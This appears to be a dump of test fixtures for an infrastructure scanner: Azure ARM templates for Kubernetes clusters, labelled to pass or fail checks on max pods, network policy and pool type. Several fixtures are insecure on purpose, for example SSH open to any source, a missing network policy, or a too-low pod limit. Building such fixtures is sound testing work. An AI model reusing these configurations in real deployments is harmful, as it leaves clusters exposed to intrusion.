{\n                    \"clientId\": \"msi\"\n                },\n                \"nodeResourceGroup\": \"[concat('MC_', resourceGroup().name,'_', parameters('clusterName'), '_',parameters('location'))]\",\n                \"enableRBAC\": true,\n                \"networkProfile\": {\n                    \"networkPlugin\": \"kubenet\",\n                    \"loadBalancerSku\": \"Basic\",\n                    \"podCidr\": \"[parameters('podCidr')]\",\n                    \"serviceCidr\": \"[parameters('serviceCidr')]\",\n                    \"dnsServiceIP\": \"[parameters('dnsServiceIP')]\",\n                    \"dockerBridgeCidr\": \"[parameters('dockerBridgeCidr')]\",\n                    \"outboundType\": \"loadBalancer\"\n                }\n            }\n        }\n\n\n  ],\n  \"outputs\": {\n    \"controlPlaneFQDN\": {\n      \"type\": \"string\",\n      \"value\": \"[reference(resourceId('Microsoft.ContainerService/managedClusters', parameters('aksClusterName'))).fqdn]\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AKSMaxPodsMinimum/properties_with_maxPods_fail2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"metadata\": {\n    \"_generator\": {\n      \"name\": \"bicep\",\n      \"version\": \"0.5.6.12127\",\n      \"templateHash\": \"12705365244308198684\"\n    }\n  },\n  \"parameters\": {\n    \"aksClusterName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"aks101cluster-vmss\",\n      \"metadata\": {\n        \"description\": \"The name of the Managed Cluster resource.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"The location of AKS resource.\"\n      }\n    },\n    \"dnsPrefix\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Optional DNS prefix to use with hosted Kubernetes API server FQDN.\"\n      }\n    },\n    \"osDiskSizeGB\": {\n      \"type\": \"int\",\n      \"defaultValue\": 0,\n      \"maxValue\": 1023,\n      \"minValue\": 0,\n      \"metadata\": {\n        \"description\": \"Disk size (in GiB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize.\"\n      }\n    },\n    \"agentCount\": {\n      \"type\": \"int\",\n      \"defaultValue\": 3,\n      \"maxValue\": 100,\n      \"minValue\": 1,\n      \"metadata\": {\n        \"description\": \"The number of nodes for the cluster. 1 Node is enough for Dev/Test and minimum 3 nodes, is recommended for Production\"\n      }\n    },\n    \"agentVMSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_D2s_v3\",\n      \"metadata\": {\n        \"description\": \"The size of the Virtual Machine.\"\n      }\n    },\n    \"osType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Linux\",\n      \"allowedValues\": [\n        \"Linux\",\n        \"Windows\"\n      ],\n      \"metadata\": {\n        \"description\": \"The type of operating system.\"\n      }\n    }\n  },\n  \"resources\": [\n      {\n            \"type\": \"Microsoft.ContainerService/managedClusters/agentPools\",\n            \"apiVersion\": \"2020-03-01\",\n            \"name\": \"properties_with_maxPods_fail2\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.ContainerService/managedClusters', parameters('clusterName'))]\"\n            ],\n            \"properties\": {\n                \"count\": \"[parameters('agentCount')]\",\n                \"vmSize\": \"[parameters('agentVMSize')]\",\n                \"osDiskSizeGB\": \"[parameters('osDiskSizeGB')]\",\n                \"maxPods\": 33,\n                \"type\": \"VirtualMachineScaleSets\",\n                \"orchestratorVersion\": \"[parameters('kubernetesVersion')]\",\n                \"mode\": \"System\",\n                \"osType\": \"Linux\"\n            }\n        }\n\n\n  ],\n  \"outputs\": {\n    \"controlPlaneFQDN\": {\n      \"type\": \"string\",\n      \"value\": \"[reference(resourceId('Microsoft.ContainerService/managedClusters', parameters('aksClusterName'))).fqdn]\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AKSMaxPodsMinimum/properties_with_maxPods_pass1.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"metadata\": {\n    \"_generator\": {\n      \"name\": \"bicep\",\n      \"version\": \"0.5.6.12127\",\n      \"templateHash\": \"12705365244308198684\"\n    }\n  },\n  \"parameters\": {\n    \"aksClusterName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"aks101cluster-vmss\",\n      \"metadata\": {\n        \"description\": \"The name of the Managed Cluster resource.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"The location of AKS resource.\"\n      }\n    },\n    \"dnsPrefix\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Optional DNS prefix to use with hosted Kubernetes API server FQDN.\"\n      }\n    },\n    \"osDiskSizeGB\": {\n      \"type\": \"int\",\n      \"defaultValue\": 0,\n      \"maxValue\": 1023,\n      \"minValue\": 0,\n      \"metadata\": {\n        \"description\": \"Disk size (in GiB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize.\"\n      }\n    },\n    \"agentCount\": {\n      \"type\": \"int\",\n      \"defaultValue\": 3,\n      \"maxValue\": 100,\n      \"minValue\": 1,\n      \"metadata\": {\n        \"description\": \"The number of nodes for the cluster. 1 Node is enough for Dev/Test and minimum 3 nodes, is recommended for Production\"\n      }\n    },\n    \"agentVMSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_D2s_v3\",\n      \"metadata\": {\n        \"description\": \"The size of the Virtual Machine.\"\n      }\n    },\n    \"osType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Linux\",\n      \"allowedValues\": [\n        \"Linux\",\n        \"Windows\"\n      ],\n      \"metadata\": {\n        \"description\": \"The type of operating system.\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n            \"type\": \"Microsoft.ContainerService/managedClusters/agentPools\",\n            \"apiVersion\": \"2020-03-01\",\n            \"name\": \"properties_with_maxPods_pass1\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.ContainerService/managedClusters', parameters('clusterName'))]\"\n            ],\n            \"properties\": {\n                \"count\": \"[parameters('agentCount')]\",\n                \"vmSize\": \"[parameters('agentVMSize')]\",\n                \"osDiskSizeGB\": \"[parameters('osDiskSizeGB')]\",\n                \"type\": \"VirtualMachineScaleSets\",\n                \"orchestratorVersion\": \"[parameters('kubernetesVersion')]\",\n                \"mode\": \"System\",\n                \"osType\": \"Linux\",\n                \"maxPods\": 51\n            }\n        }\n\n  ],\n  \"outputs\": {\n    \"controlPlaneFQDN\": {\n      \"type\": \"string\",\n      \"value\": \"[reference(resourceId('Microsoft.ContainerService/managedClusters', parameters('aksClusterName'))).fqdn]\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AKSMaxPodsMinimum/properties_without_maxPods_fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"metadata\": {\n    \"_generator\": {\n      \"name\": \"bicep\",\n      \"version\": \"0.5.6.12127\",\n      \"templateHash\": \"12705365244308198684\"\n    }\n  },\n  \"parameters\": {\n    \"aksClusterName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"aks101cluster-vmss\",\n      \"metadata\": {\n        \"description\": \"The name of the Managed Cluster resource.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"The location of AKS resource.\"\n      }\n    },\n    \"dnsPrefix\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Optional DNS prefix to use with hosted Kubernetes API server FQDN.\"\n      }\n    },\n    \"osDiskSizeGB\": {\n      \"type\": \"int\",\n      \"defaultValue\": 0,\n      \"maxValue\": 1023,\n      \"minValue\": 0,\n      \"metadata\": {\n        \"description\": \"Disk size (in GiB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize.\"\n      }\n    },\n    \"agentCount\": {\n      \"type\": \"int\",\n      \"defaultValue\": 3,\n      \"maxValue\": 100,\n      \"minValue\": 1,\n      \"metadata\": {\n        \"description\": \"The number of nodes for the cluster. 1 Node is enough for Dev/Test and minimum 3 nodes, is recommended for Production\"\n      }\n    },\n    \"agentVMSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_D2s_v3\",\n      \"metadata\": {\n        \"description\": \"The size of the Virtual Machine.\"\n      }\n    },\n    \"osType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Linux\",\n      \"allowedValues\": [\n        \"Linux\",\n        \"Windows\"\n      ],\n      \"metadata\": {\n        \"description\": \"The type of operating system.\"\n      }\n    }\n  },\n  \"resources\": [\n        {\n            \"type\": \"Microsoft.ContainerService/managedClusters/agentPools\",\n            \"apiVersion\": \"2020-03-01\",\n            \"name\": \"properties_without_maxPods_fail\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.ContainerService/managedClusters', parameters('clusterName'))]\"\n            ],\n            \"properties\": {\n                \"count\": \"[parameters('agentCount')]\",\n                \"vmSize\": \"[parameters('agentVMSize')]\",\n                \"osDiskSizeGB\": \"[parameters('osDiskSizeGB')]\",\n                \"type\": \"VirtualMachineScaleSets\",\n                \"orchestratorVersion\": \"[parameters('kubernetesVersion')]\",\n                \"mode\": \"System\",\n                \"osType\": \"Linux\"\n            }\n        }\n\n\n  ],\n  \"outputs\": {\n    \"controlPlaneFQDN\": {\n      \"type\": \"string\",\n      \"value\": \"[reference(resourceId('Microsoft.ContainerService/managedClusters', parameters('aksClusterName'))).fqdn]\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AKSNetworkPolicy/aksNetworkPolicy-FAILED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"adminUsername\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"azureuser\",\n      \"metadata\": {\n        \"description\": \"User name for the Virtual Machine.\"\n      }\n    },\n    \"sshPublicKey\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Configure all linux machines with the SSH public key string, for example 'ssh-rsa AAAAB...snip...UcyupgH azureuser@linuxvm'\"\n      }\n    },\n    \"virtualMachineSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_DS2_v2\",\n      \"allowedValues\": [\n        \"Standard_B2s\",\n        \"Standard_B2ms\",\n        \"Standard_D2s_v3\",\n        \"Standard_D2_v3\",\n        \"Standard_DS2_v2\",\n        \"Standard_D2_v2\",\n        \"Standard_DS2\",\n        \"Standard_D2\",\n        \"Standard_A2_v2\",\n        \"Standard_A2\"\n      ],\n      \"metadata\": {\n        \"description\": \"The virutal machine size to use. We picked out the sizes with 2 vCPUs, but in real world projects you can choose other sizes as you desired.\"\n      }\n    },\n    \"kubernetesVersion\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"1.14.6\",\n      \"allowedValues\": [\n        \"1.10.13\",\n        \"1.11.10\",\n        \"1.12.8\",\n        \"1.13.10\",\n        \"1.14.6\"\n      ],\n      \"metadata\": {\n        \"description\": \"The version of Kubernetes.\"\n      }\n    },\n    \"jenkinsDnsPrefix\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Unique DNS Name prefix for the Public IP used to access the Jenkins Virtual Machine. Azure will form the final DNS name as '<prefix>.<region>.cloudapp.azure.com'.\"\n      }\n    },\n    \"servicePrincipalAppId\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Service Principal App ID (also called Client ID) that has contributor rights to the subscription used for this deployment. It is used by the Kubernetes cluster to dynamically manage resources (e.g. user-defined load balancers).\"\n      }\n    },\n    \"servicePrincipalAppKey\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"Service Principal App Key (also called Client Secret) that has contributor rights to the subscription used for this deployment. It is used by the Kubernetes cluster to dynamically manage resources (e.g. user-defined load balancers).\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"resourcePrefix\": \"jenkins\",\n    \"OSDiskName\": \"[concat(variables('resourcePrefix'), '-os-disk')]\",\n    \"nicName\": \"[concat(variables('resourcePrefix'), '-nic')]\",\n    \"subnetName\": \"[concat(variables('resourcePrefix'), '-subnet')]\",\n    \"publicIPAddressName\": \"[concat(variables('resourcePrefix'), '-ip')]\",\n    \"vmName\": \"[concat(variables('resourcePrefix'), '-vm')]\",\n    \"virtualNetworkName\": \"[concat(variables('resourcePrefix'), '-vnet')]\",\n    \"vmExtensionName\": \"[concat(variables('resourcePrefix'), '-init')]\",\n    \"frontEndNSGName\": \"[concat(variables('resourcePrefix'), '-nsg')]\",\n    \"aksName\": \"aks\",\n    \"aksDnsPrefix\": \"[concat('aks', uniqueString(resourceGroup().id))]\",\n    \"_artifactsLocation\": \"https://raw.githubusercontent.com/Azure/jenkins/master\",\n    \"_extensionScript\": \"301-jenkins-aks-zero-downtime-deployment.sh\",\n    \"_artifactsLocationSasToken\": \"\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Compute/virtualMachines\",\n      \"name\": \"[variables('vmName')]\",\n      \"apiVersion\": \"2016-04-30-preview\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"osProfile\": {\n          \"computerName\": \"[variables('vmName')]\",\n          \"adminUsername\": \"[parameters('adminUsername')]\",\n          \"linuxConfiguration\": {\n            \"disablePasswordAuthentication\": true,\n            \"ssh\": {\n              \"publicKeys\": [\n                {\n                  \"path\": \"[concat('/home/', parameters('adminUsername'), '/.ssh/authorized_keys')]\",\n                  \"keyData\": \"[parameters('sshPublicKey')]\"\n                }\n              ]\n            }\n          }\n        },\n        \"hardwareProfile\": {\n          \"vmSize\": \"[parameters('virtualMachineSize')]\"\n        },\n        \"storageProfile\": {\n          \"imageReference\": {\n            \"publisher\": \"Canonical\",\n            \"offer\": \"UbuntuServer\",\n            \"sku\": \"16.04-LTS\",\n            \"version\": \"latest\"\n          },\n          \"osDisk\": {\n            \"name\": \"[variables('OSDiskName')]\",\n            \"createOption\": \"FromImage\",\n            \"managedDisk\": {\n              \"storageAccountType\": \"Standard_LRS\"\n            }\n          },\n          \"dataDisks\": []\n        },\n        \"networkProfile\": {\n          \"networkInterfaces\": [\n            {\n              \"id\": \"[resourceId('Microsoft.Network/networkInterfaces', variables('nicName'))]\"\n            }\n          ]\n        }\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/networkInterfaces', variables('nicName'))]\"\n      ],\n      \"resources\": [\n        {\n          \"type\": \"extensions\",\n          \"name\": \"[variables('vmExtensionName')]\",\n          \"apiVersion\": \"2015-06-15\",\n          \"location\": \"[parameters('location')]\",\n          \"dependsOn\": [\n            \"[resourceId('Microsoft.Compute/virtualMachines', variables('vmName'))]\",\n            \"[resourceId('Microsoft.ContainerService/managedClusters', variables('aksName'))]\"\n          ],\n          \"properties\": {\n            \"publisher\": \"Microsoft.Azure.Extensions\",\n            \"type\": \"CustomScript\",\n            \"typeHandlerVersion\": \"2.0\",\n            \"autoUpgradeMinorVersion\": true,\n            \"settings\": {\n              \"fileUris\": [\n                \"[concat(variables('_artifactsLocation'), '/quickstart_templates/zero_downtime_deployment/', variables('_extensionScript'), variables('_artifactsLocationSasToken'))]\"\n              ]\n            },\n            \"protectedSettings\": {\n              \"commandToExecute\": \"[concat('./', variables('_extensionScript'), ' --app_id \\\"', parameters('servicePrincipalAppId'), '\\\" --app_key \\\"', parameters('servicePrincipalAppKey'), '\\\" --subscription_id \\\"', subscription().subscriptionId, '\\\" --tenant_id \\\"', subscription().tenantId, '\\\" --resource_group \\\"', resourceGroup().name, '\\\" --aks_name \\\"', variables('aksName'), '\\\" --jenkins_fqdn \\\"', reference(variables('publicIPAddressName')).dnsSettings.fqdn, '\\\" --artifacts_location \\\"', variables('_artifactsLocation'), '\\\" --sas_token \\\"', variables('_artifactsLocationSasToken'), '\\\"')]\"\n            }\n          }\n        }\n      ]\n    },\n    {\n      \"type\": \"Microsoft.Network/virtualNetworks\",\n      \"name\": \"[variables('virtualNetworkName')]\",\n      \"apiVersion\": \"2016-12-01\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\n            \"10.89.0.0/16\"\n          ]\n        },\n        \"subnets\": [\n          {\n            \"name\": \"[variables('subnetName')]\",\n            \"properties\": {\n              \"addressPrefix\": \"10.89.0.0/24\"\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/networkInterfaces\",\n      \"name\": \"[variables('nicName')]\",\n      \"apiVersion\": \"2016-09-01\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"ipConfigurations\": [\n          {\n            \"name\": \"ipconfig1\",\n            \"properties\": {\n              \"subnet\": {\n                \"id\": \"[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworkName'), variables('subnetName'))]\"\n              },\n              \"privateIPAllocationMethod\": \"Dynamic\",\n              \"publicIpAddress\": {\n                \"id\": \"[resourceId('Microsoft.Network/publicIPAddresses', variables('publicIPAddressName'))]\"\n              }\n            }\n          }\n        ],\n        \"networkSecurityGroup\": {\n          \"id\": \"[resourceId('Microsoft.Network/networkSecurityGroups', variables('frontEndNSGName'))]\"\n        }\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/virtualNetworks', variables('virtualNetworkName'))]\",\n        \"[resourceId('Microsoft.Network/publicIpAddresses', variables('publicIpAddressName'))]\",\n        \"[resourceId('Microsoft.Network/networkSecurityGroups', variables('frontEndNSGName'))]\"\n      ]\n    },\n    {\n      \"type\": \"Microsoft.Network/publicIPAddresses\",\n      \"name\": \"[variables('publicIPAddressName')]\",\n      \"apiVersion\": \"2017-06-01\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"publicIPAllocationMethod\": \"Dynamic\",\n        \"dnsSettings\": {\n          \"domainNameLabel\": \"[parameters('jenkinsDnsPrefix')]\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/networkSecurityGroups\",\n      \"name\": \"[variables('frontEndNSGName')]\",\n      \"apiVersion\": \"2017-06-01\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"securityRules\": [\n          {\n            \"name\": \"default-allow-ssh\",\n            \"properties\": {\n              \"priority\": 1000,\n              \"protocol\": \"Tcp\",\n              \"access\": \"Allow\",\n              \"direction\": \"Inbound\",\n              \"sourceAddressPrefix\": \"*\",\n              \"sourcePortRange\": \"*\",\n              \"destinationAddressPrefix\": \"*\",\n              \"destinationPortRange\": \"22\"\n            }\n          },\n          {\n            \"name\": \"allow-jenkins-http\",\n            \"properties\": {\n              \"priority\": 1001,\n              \"protocol\": \"Tcp\",\n              \"access\": \"Allow\",\n              \"direction\": \"Inbound\",\n              \"sourceAddressPrefix\": \"*\",\n              \"sourcePortRange\": \"*\",\n              \"destinationAddressPrefix\": \"*\",\n              \"destinationPortRange\": \"80\"\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"apiVersion\": \"2017-08-31\",\n      \"type\": \"Microsoft.ContainerService/managedClusters\",\n      \"location\": \"[parameters('location')]\",\n      \"name\": \"[variables('aksName')]\",\n      \"properties\": {\n        \"kubernetesVersion\": \"[parameters('kubernetesVersion')]\",\n        \"dnsPrefix\": \"[variables('aksDnsPrefix')]\",\n        \"agentPoolProfiles\": [\n          {\n            \"name\": \"agentpool\",\n            \"count\": 2,\n            \"vmSize\": \"[parameters('virtualMachineSize')]\",\n            \"osType\": \"Linux\",\n            \"storageProfile\": \"ManagedDisks\"\n          }\n        ],\n        \"linuxProfile\": {\n          \"adminUsername\": \"[parameters('adminUsername')]\",\n          \"ssh\": {\n            \"publicKeys\": [\n              {\n                \"path\": \"[concat('/home/', parameters('adminUsername'), '/.ssh/authorized_keys')]\",\n                \"keyData\": \"[parameters('sshPublicKey')]\"\n              }\n            ]\n          }\n        },\n        \"servicePrincipalProfile\": {\n          \"ClientId\": \"[parameters('servicePrincipalAppId')]\",\n          \"Secret\": \"[parameters('servicePrincipalAppKey')]\"\n        }\n      }\n    }\n  ],\n  \"outputs\": {\n    \"admin_username\": {\n      \"type\": \"string\",\n      \"value\": \"[parameters('adminUsername')]\"\n    },\n    \"jenkins_vm_fqdn\": {\n      \"type\": \"string\",\n      \"value\": \"[reference(variables('publicIPAddressName')).dnsSettings.fqdn]\"\n    },\n    \"jenkins_url\": {\n      \"type\": \"string\",\n      \"value\": \"[concat('http://', reference(variables('publicIPAddressName')).dnsSettings.fqdn)]\"\n    },\n    \"SSH\": {\n      \"type\": \"string\",\n      \"value\": \"[concat('ssh -L 8080:localhost:8080 ', parameters('adminUsername'), '@', reference(variables('publicIPAddressName')).dnsSettings.fqdn)]\"\n    },\n    \"kubernetes_master_fqdn\": {\n      \"type\": \"string\",\n      \"value\": \"[reference(resourceId('Microsoft.ContainerService/managedClusters', variables('aksName'))).fqdn]\"\n    }\n  }\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AKSNetworkPolicy/aksNetworkPolicy-FAILED2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"aksResourceId\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"AKS Cluster Resource ID\"\n      }\n    },\n    \"aksResourceLocation\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Location of the AKS resource e.g. \\\"East US\\\"\"\n      }\n    },\n    \"aksResourceTagValues\": {\n      \"type\": \"object\",\n      \"metadata\": {\n        \"description\": \"Existing all tags on AKS Cluster Resource\"\n      }\n    },\n    \"workspaceResourceId\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Azure Monitor Log Analytics Resource ID\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"name\": \"[split(parameters('aksResourceId'),'/')[8]]\",\n      \"type\": \"Microsoft.ContainerService/managedClusters\",\n      \"location\": \"[parameters('aksResourceLocation')]\",\n      \"tags\": \"[parameters('aksResourceTagValues')]\",\n      \"apiVersion\": \"2018-03-31\",\n      \"properties\": {\n        \"mode\": \"Incremental\",\n        \"id\": \"[parameters('aksResourceId')]\",\n        \"addonProfiles\": {\n          \"omsagent\": {\n            \"enabled\": true,\n            \"config\": {\n              \"logAnalyticsWorkspaceResourceID\": \"[parameters('workspaceResourceId')]\"\n            }\n          }\n        },\n        \"networkProfile\": {\n          \"networkPlugin\": \"azure\",\n          \"networkPolicy\": \"\"\n        }\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AKSNetworkPolicy/aksNetworkPolicy-FAILED3.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"aksResourceId\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"AKS Cluster Resource ID\"\n      }\n    },\n    \"aksResourceLocation\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Location of the AKS resource e.g. \\\"East US\\\"\"\n      }\n    },\n    \"aksResourceTagValues\": {\n      \"type\": \"object\",\n      \"metadata\": {\n        \"description\": \"Existing all tags on AKS Cluster Resource\"\n      }\n    },\n    \"workspaceResourceId\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Azure Monitor Log Analytics Resource ID\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"name\": \"[split(parameters('aksResourceId'),'/')[8]]\",\n      \"type\": \"Microsoft.ContainerService/managedClusters\",\n      \"location\": \"[parameters('aksResourceLocation')]\",\n      \"tags\": \"[parameters('aksResourceTagValues')]\",\n      \"apiVersion\": \"2018-03-31\",\n      \"properties\": {\n        \"mode\": \"Incremental\",\n        \"id\": \"[parameters('aksResourceId')]\",\n        \"addonProfiles\": {\n          \"omsagent\": {\n            \"enabled\": true,\n            \"config\": {\n              \"logAnalyticsWorkspaceResourceID\": \"[parameters('workspaceResourceId')]\"\n            }\n          }\n        }\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AKSNetworkPolicy/aksNetworkPolicy-FAILED4.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"aksResourceId\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"AKS Cluster Resource ID\"\n      }\n    },\n    \"aksResourceLocation\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Location of the AKS resource e.g. \\\"East US\\\"\"\n      }\n    },\n    \"aksResourceTagValues\": {\n      \"type\": \"object\",\n      \"metadata\": {\n        \"description\": \"Existing all tags on AKS Cluster Resource\"\n      }\n    },\n    \"workspaceResourceId\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Azure Monitor Log Analytics Resource ID\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"name\": \"[split(parameters('aksResourceId'),'/')[8]]\",\n      \"type\": \"Microsoft.ContainerService/managedClusters\",\n      \"location\": \"[parameters('aksResourceLocation')]\",\n      \"tags\": \"[parameters('aksResourceTagValues')]\",\n      \"apiVersion\": \"2018-03-31\",\n      \"properties\": \"yo\"\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AKSNetworkPolicy/aksNetworkPolicy-PASSED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"aksResourceId\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"AKS Cluster Resource ID\"\n      }\n    },\n    \"aksResourceLocation\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Location of the AKS resource e.g. \\\"East US\\\"\"\n      }\n    },\n    \"aksResourceTagValues\": {\n      \"type\": \"object\",\n      \"metadata\": {\n        \"description\": \"Existing all tags on AKS Cluster Resource\"\n      }\n    },\n    \"workspaceResourceId\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Azure Monitor Log Analytics Resource ID\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"name\": \"[split(parameters('aksResourceId'),'/')[8]]\",\n      \"type\": \"Microsoft.ContainerService/managedClusters\",\n      \"location\": \"[parameters('aksResourceLocation')]\",\n      \"tags\": \"[parameters('aksResourceTagValues')]\",\n      \"apiVersion\": \"2018-03-31\",\n      \"properties\": {\n        \"mode\": \"Incremental\",\n        \"id\": \"[parameters('aksResourceId')]\",\n        \"addonProfiles\": {\n          \"omsagent\": {\n            \"enabled\": true,\n            \"config\": {\n              \"logAnalyticsWorkspaceResourceID\": \"[parameters('workspaceResourceId')]\"\n            }\n          }\n        },\n        \"networkProfile\": {\n          \"networkPlugin\": \"azure\",\n          \"networkPolicy\": \"calico\"\n        }\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AKSPoolTypeIsScaleSet/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"metadata\": {\n    \"_generator\": {\n      \"name\": \"bicep\",\n      \"version\": \"0.26.170.59819\",\n      \"templateHash\": \"14823542069333410776\"\n    }\n  },\n  \"parameters\": {\n    \"clusterName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"aks101cluster\",\n      \"metadata\": {\n        \"description\": \"The name of the Managed Cluster resource.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"The location of the Managed Cluster resource.\"\n      }\n    },\n    \"dnsPrefix\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Optional DNS prefix to use with hosted Kubernetes API server FQDN.\"\n      }\n    },\n    \"osDiskSizeGB\": {\n      \"type\": \"int\",\n      \"defaultValue\": 0,\n      \"minValue\": 0,\n      \"maxValue\": 1023,\n      \"metadata\": {\n        \"description\": \"Disk size (in GB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize.\"\n      }\n    },\n    \"agentCount\": {\n      \"type\": \"int\",\n      \"defaultValue\": 3,\n      \"minValue\": 1,\n      \"maxValue\": 50,\n      \"metadata\": {\n        \"description\": \"The number of nodes for the cluster.\"\n      }\n    },\n    \"agentVMSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"standard_d2s_v3\",\n      \"metadata\": {\n        \"description\": \"The size of the Virtual Machine.\"\n      }\n    },\n    \"linuxAdminUsername\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"User name for the Linux Virtual Machines.\"\n      }\n    },\n    \"sshRSAPublicKey\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Configure all linux machines with the SSH RSA public key string. Your key should include three parts, for example 'ssh-rsa AAAAB...snip...UcyupgH azureuser@linuxvm'\"\n      